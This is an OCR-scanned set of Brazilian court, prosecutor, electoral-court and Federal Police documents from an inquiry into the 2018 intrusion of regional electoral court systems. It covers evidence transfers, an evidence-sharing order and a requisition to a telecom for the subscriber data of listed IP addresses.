te] Documento assinado eletronicamente em 05/03/2020, às 18:06, conforme art. 1º, 82º, Ш, b, 
da Lei 11.419/2006. 
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27/11/2020 SEI/TSE - 1505168 - Informação 
ri. 371 


SR/PF/DF 
2020.0043195 





TRIBUNAL SUPERIOR ELEITORAL 
Informação COINF/STI n? 245/2020 
Referéncia: Oficio 2179 PF (SEI 1304296) 


Assunto: 
Senhor Secretário, 


Informamos que no escopo da investigação que trata а ІРІ, 1361/2018-4 - 
SR/PF/DF, as informações abaixo foram remetidas por técnicos da COINF à Polícia Federal 
em Disco Rígido ao final do ano de 2018 e início do ano de 2019 


- Log de acesso à VPN do TRE-PB. Enviado log completo bem como log do 
usuário Digitro. 

- Cópia da máquina virtual do TRE-RN, que foi invadida durante o evento. 
- Cópia de trés máquinas do TRE-BA que foram invadidas durante o 
evento de Abril. 

- Relatório do TRE-PE contendo detalhamento do evento de Abril. 

- Arquivo texto contendo resumo do evento de Abril de 2018. 


Adicionalmente, registramos que as informações requisitadas por meio do Ofício 
70 (1230941), reiterado por meio do Oficio 2179(1304296) estão contidas na 
Informação SESOP/COINF/STI nº 5/2020 (1270536) e disponíveis para remessa, em 
caráter Oficial, para a Polícia Federal. 


Registro, por fim, característica do sistema SEI, o qual não possui função de 
"remessa" de processos sigilosos, devendo ser notificadas as unidades que porventura 
deverão realizar gestão para a entrega em caráter Oficial dos dados contidos na 
supracitada Informação. 


É a informação. 





CRISTIANO MOREIRA ANDRADE 
COORDENADOR(A) 


e) Documento assinado eletronicamente em 23/11/2020, às 16:00, conforme art. 1º, 822, Ш, b, 
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SR/PF/DF 
2020.0043195 





TRIBUNAL SUPERIOR ELEITORAL 
Informação COINF/STI n? 249/2020 
Referéncia: Despacho STI 1506843 


Assunto: IPL 1361/2018-4 - SR/PF/DF 
Senhor Secretário de Tecnologia da Informação, 


Em atenção ao Despacho GAB-SPR 1506619, informamos que os dados listados na 
Informação COINF/STI nº 245/2020 (1505168) vieram em discos rígidos remetidos ao TSE 
pelo TRE-RN e pelo TRE-BA e tais mídias foram entregues no ano de2019 à equipe sob 
gestão da Delegada Cassiana Saad. 


Não foi realizada cópia dos discos rígidos para ambiente do TSE. 


Registramos ainda que, posteriormente à entrega dos discos rígidos citados, 
Delegados da Polícia Federal realizaram apresentação de análise preliminar dos conteúdos 
existentes nas mídias. 


É a informação. 
CRISTIANO MOREIRA ANDRADE 

COORDENADOR(A) 

(#9) Documento assinado eletronicamente em 26/11/2020, às 17:55, conforme art. 19, 82º, III, b, 

da Lei 11.419/2006. 






Ea A https:/ /sei.tse.jus.br/sei/controlador externo.php? 
ls: acao=documento conferir&id orgao acesso externo=0&cv=1510009&crc=4A9AE813, 
54 informando, caso não preenchido, o código verificador 1510009 e o código CRC 


— M F JD 


2020.00.000000217-2 Documento n? 1510009 v3 


file:///C:/Users/bruce.Ibml/Downloads/Informacao 1510009.html 





Justiça Federal da 1? Região 
PJe - Processo Judicial Eletrónico 


Nümero: 1065955-77.2020.4.01.3400 


Classe: INQUÉRITO POLICIAL 

Órgão julgador: 12º Vara Federal Criminal da SJDF 
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PR-DF-MANIFESTAÇÃO-30174/2020 





MINISTÉRIO PÚBLICO FEDERAL 
PROCURADORIA DA REPÚBLICA - DISTRITO FEDERAL 


EXCELENTÍSSIMO (A) SENHOR (A) JUIZ (A) FEDERAL DA 12º VARA DA 
SEÇÃO JUDICIÁRIA DO DISTRITO FEDERAL. 


Autos n. 1065955-77.2020.4.01.3400 


O MINISTÉRIO PÚBLICO FEDERAL, pelo Procurador da República 
signatário, vem, perante Vossa Excelência, em atenção ao despacho retro, manifestar-se nos 


seguintes termos. 


Para verificar a assinatura acesse 


Cuida-se de representação formulada pela autoridade policial, pleiteando o 
compartilhamento de provas dos fatos tratados no IPL 005/2017-DICINT/DIP (que tramitou 
perante a 12º Vara Federal da Seção Judiciária do DF - Processo n? 0034686- 
42.2017.4.01.3400 e perante a 7^ Vara Federal da Subseção Judiciária de São Paulo - 
Processo nº 0013343-32.2017.4.03.6181), com a presente investigação. 


Sustenta, em sua argumentação, que a medida se mostra deveras pertinente, 
uma vez que os fatos lá tratados coincidem com a autoria dos fatos tratados no presente 
inquérito (segundo apontado no Relatório de Análise de Alta Tecnologia nº 001/2020- 
UTC/SRCC/CGPFAZ/DICOR/PF). 


E a síntese. 


Chave B5A7D991.4DDA0976.7F1941DD.AA6D2ACE 


Presente esse panorama, considerando o apontado nos relatórios indicados, 
quais sejam, a Informação nº 002/2019- UTC/SRCC/CGPFAZ/DICOR/PF, bem como o 
Relatório de Análise de Alta Tecnologia nº 001/2020-UTC/SRCC/CGPFAZ/DICOR/PF, 
manifesta-se о Parquet Federal pelo deferimento da medida, uma vez que com o 
compartilhamento das provas nos fatos semelhantes investigados, será possível colher 
elementos que demonstrem, com segurança, a materialidade dos delitos sob apuração, bem 
como poderá ser delineada a autoria delitiva dos fatos deste inquérito, com maior celeridade e 


eficiência. 


Dessa forma, manifesta-se o MINISTÉRIO PÚBLICO FEDERAL pelo 


deferimento da representação da autoridade policial. 


Ao ensejo, o MPF manifesta-se, igualmente, pela concessão de novo prazo de 


90 (noventa) dias para a continuidade das investigações levadas a efeito no inquérito policial 
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em аргесо. 


Brasília, 2 de dezembro de 2020. 


MARCELO RIBEIRO DE OLIVEIRA 
PROCURADOR DA REPÜBLICA 


Para verificar a assinatura acesse 


Chave B5A7D991.4DDA0976.7F1941DD.AA6D2ACE 
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Justiça Federal da 1? Região 
PJe - Processo Judicial Eletrónico 


Nümero: 1065955-77.2020.4.01.3400 


Classe: INQUÉRITO POLICIAL 

Órgão julgador: 12º Vara Federal Criminal da SJDF 
Última distribuição : 24/11/2020 

Valor da causa: R$ 0,00 

Processo referência: 0034686-42.2017.4.01.3400 
Assuntos: Invasão de Dispositivo Informático 
Segredo de justiça? SIM 

Justiça gratuita? NÃO 

Pedido de liminar ou antecipação de tutela? NÃO 


24/02/2021 
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Polícia Federal no Distrito Federal (PROCESSOS 
CRIMINAIS) (AUTORIDADE) 





INDETERMINADO (REQUERIDO) 
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Seção Judiciária do Distrito Federal 


12º Vara Federal Criminal da SJDF 


PROCESSO: 1065955-77.2020.4.01.3400 
INQUÉRITO POLICIAL (279)[Invasáo de Dispositivo Informático] 
AUTORIDADE: POLÍCIA FEDERAL NO DISTRITO FEDERAL (PROCESSOS CRIMINAIS) 


REQUERIDO: INDETERMINADO 


DESPACHO 


Defiro o pedido formulado pela Autoridade Policial (IDs 383940858 e 
383950374), para o fim de autorizar o compartilhamento das provas 
produzidas no âmbito do inquérito policial IPL 005/2017-DICINT/DIP 
com as investigações do presente feito. 


2. Baixem os autos ao Departamento de Polícia Federal na forma 
solicitada pelo Parquet. 


Os autos tramitarão diretamente entre Autoridade Policial e 
Ministério Público Federal. 


Cientifique-se a Polícia Federal e o Ministério Público Federal. 
Brasília, 23 de fevereiro de 2021. 


MARCUS VINICIUS REIS BASTOS 





JUIZ FEDERAL 
Elza] 
T2 Es Assinado eletronicamente por: MARCUS VINICIUS REIS BASTOS - 23/02/2021 17:58:23 Num. 438188866 - Pág. 1 
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POLÍCIA FEDERAL 


GRUPO DE REPRESSÃO A CRIMES CIBERNÉTICOS - GRCC/DRCOR/SR/PF/DF 
Endereço: SAIS, Od. 7, Lote 23, Sala 135 - CEP: 70610-902 - Brasília/DF 


Ofício n? 1705300/2021 - GRCC/DRCOR/SR/PF/DF 
Brasília/DF, 20 de abril de 2021. 


A Sua Senhoria o(a) Senhor(a) 

Diretor(a) da Empresa TIM BRASIL 

Av. Alexandre Gusmão, 29, Bloco C, Vila Omero Tom 
Santo Andre/SP - CEP. 09.015-970 


Assunto: Informações (solicita) 
Referência: 2020.0043 195-SR/PF/DF (favor mencionar na resposta) 


Senhor(a) Diretor(a), 


1- Cumprimentando-o, sirvo-me do presente para, visando a instruir os autos do Inquérito Policial em epígrafe, REQUISITAR а 
Vossa Senhoria informações sobre os dados cadastrais de usuário, conforme esclarecimentos que seguem. 


2- Por óbvio, e ainda mais ante a expressa previsão legal, o acesso aos dados cadastrais não estão agasalhados pelo inciso X, do 
artigo 5º, da Constituição Federal, de modo que não se contrapõe ao princípio da inviolabilidade da intimidade a permissibilidade de 
acesso a essas informações sem prévia autorização judicial. 


3- Aliás, como reconhecido pelo próprio legislador pátrio, com a inserção do Art. 17-B, na Lei 9.613/98 (" Art. 17-B. A autoridade 
policial e o Ministério Público terão acesso, exclusivamente, aos dados cadastrais do investigado que informam qualificação 
pessoal, filiação e endereço, independentemente de autorização judicial, mantidos pela Justiça Eleitoral, pelas empresas 
telefónicas, pelas instituições financeiras, pelos provedores de internet e pelas administradoras de cartão de crédito") e, 
posteriormente, com o Art. 2º, 82º, da Lei 12.830/2013 ("5 20 Durante a investigação criminal, cabe ao delegado de polícia a 
requisição de perícia, informações, documentos e dados que interessem à apuração dos fatos") e art. 15, da Lei 12.850/2013 (" Art. 
15. O delegado de polícia e o Ministério Público terão acesso, independentemente de autorização judicial, apenas aos dados 
cadastrais do investigado que informem exclusivamente a qualificação pessoal, a filiação e o endereço mantidos pela Justiça 
Eleitoral, empresas telefônicas, instituições financeiras, provedores de internet e administradoras de cartão de crédito"), a 
Autoridade Policial pode REQUISITAR dados cadastrais de investigados, ou seja: qualificação pessoal, documentos e endereço, 
INDEPENDENTEMENTE DE AUTORIZAÇÃO JUDICIAL, mantidos pelas empresas provedoras de serviços na internet. 


DA REQUISIÇÃO 
4- Sendo assim, REQUISITO os dados cadastrais dos usuarios dos IPs: 


189.40.75.154, em 18/04/2018, as 18:56:14 
191.51.34.72, em 18/04/2018, as 19:02:05 
189..40.75.239, em 18/04/2018 20:45:41 
177.219.117.183, em 18/04/2018, as 20:56:20 
189..40.72.247, 18/04/2018, as 22:21:17 
189.40.72.14, em 18/04/2018 22:23:14 
189.40.91.135, em 18/04/2018, as 22:29:37 
189.40.90.239, em 19/04/2018, as 01:13:32 
189.40.90.253, em 19/04/2018, as 04:08:37 


Devendo a indicação dos IPs acima ser acrescida das informações de porta lógica enviadas pelo TSE, conforme item 1 
supra (cópia anexa). 


DO PRAZO PARA ATENDIMENTO 


5- Assinalo o PRAZO de 10 (dez) dias para o atendimento, do recebimento. 


DA FORMA DE ATENDIMENTO 


6- Visando a possibilitar o atendimento em tempo hábil, informo que a resposta deverá ser encaminhada para o endereço eletrônico 
«grcc.drcor.srdf(a)pf.gov.br», devendo o original também ser encaminhado fisicamente ao signatário, no Grupo de Repressão a 
Crimes Cibernéticos (GRCC) da Superintendência Regional da Polícia Federal em Brasília/DF, endereço descrito no cabeçalho do 
presente ofício. 


DAS COMINAÇÕES LEGAIS EM CASO DE NÃO ATENDIMENTO 


7- Registro, por oportuno, que o não atendimento injustificado no prazo implicará na caracterização da prática do crime de 
desobediência e/ou de sonegação de documento, sujeitando os responsáveis pela recusa indevida, às penas do artigo 21 da Lei 
12.850/2013 (Art. 21 - Recusar ou omitir dados cadastrais, registros, documentos e informações requisitadas pelo juiz, Ministério 
Público ou Delegado de Polícia, no curso de investigação ou do processo: Pena - reclusão, de 6 (seis) meses a 2 (dois) anos, e 
multa). 


8 - Ressalto, por fim, que a divulgação do conteúdo desta requisição ao proprietário da conta ou a terceiros poderá caracterizar o 
crime previsto no parágrafo único do art. 21, da Lei 12.850/2013: "Na mesma pena incorre quem, de forma indevida, se apossa, 
propala, divulga ou faz uso dos dados cadastrais de que trata esta Lei" e/ou o crime previsto no art. 153, $ lo-A, do Código Penal: 
"Divulgar, sem justa causa, informações sigilosas ou reservadas, assim definidas em lei, contidas ou não nos sistemas de 
informações ou banco de dados da Administração Pública: Pena — detenção, de 1 (um) a 4 (quatro) anos, e multa." 


Atenciosamente, 


VICTOR NEVES FEITOSA CAMPOS 
Delegado de Polícia Federal 
Matrícula nº 16.179 


Documento eletrônico assinado em 20/04/2021, às 11h03, por VICTOR NEVES FEITOSA CAMPOS, Delegado de Policia 
Federal, na forma do artigo 1º, inciso Ш, da Lei 11.419, de 19 de dezembro de 2006. A autenticidade deste documento pode ser 
conferida no site https //servicos.dpf.gov.br/assinatura/app/assinatura, informando o seguinte código verificador: 
9652b02a2d2ac835b3322979bc3ac4269e3bc5c8 









POLÍCIA FEDERAL 
TERMO DE REMESSA 


Faço a remessa dos autos com solicitação de dilação de prazo ao Ministério Público 
Federal. 





Documento eletrônico assinado em 20/04/2021, às 11h02, por LEONARDO BRUCE MADUREIRA LOPES, Escrivao de Policia 
Federal, na forma do artigo 1º, inciso Ш, da Lei 11.419, de 19 de dezembro de 2006. A autenticidade deste documento pode ser 
conferida no site https://servicos dpf.gov br/assinatura/app/assinatura, informando o seguinte código verificador: 
ffb32671e289dcfl15abed9a6ffb5a8b0eed79666 





Justiça Federal da 1º Região 
PJe - Processo Judicial Eletrônico 


Número: 1065955-77.2020.4.01.3400 


Classe: INQUÉRITO POLICIAL 

Órgão julgador: 12º Vara Federal Criminal da SJDF 
Última distribuição : 24/11/2020 

Valor da causa: R$ 0,00 

Processo referência: 0034686-42.2017.4.01.3400 
Assuntos: Invasão de Dispositivo Informático 
Segredo de justiça? SIM 

Justiça gratuita? NÃO 

Pedido de liminar ou antecipação de tutela? NÃO 


20/04/2021 





Partes 


Procurador/Terceiro vinculado 





Polícia Federal no Distrito Federal (PROCESSOS 
CRIMINAIS) (AUTORIDADE) 





INDETERMINADO (REQUERIDO) 





Ministério Público Federal (Procuradoria) (FISCAL DA LEI) 
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51071 20/04/2021 11:18 Documento da Polícia em Procedimento 
6864 Investigatório 





Documento da Polícia em Procedimento 
Investigatório 











Encaminho os autos do Inquérito Policial n? 2020.0043195, solicitando dilação de 
prazo para a continuidade das investigacóes. 


VICTOR NEVES FEITOSA CAMPOS 
Delegado de Polícia Federal 


Classe Especial - Matrícula n? 16.179 
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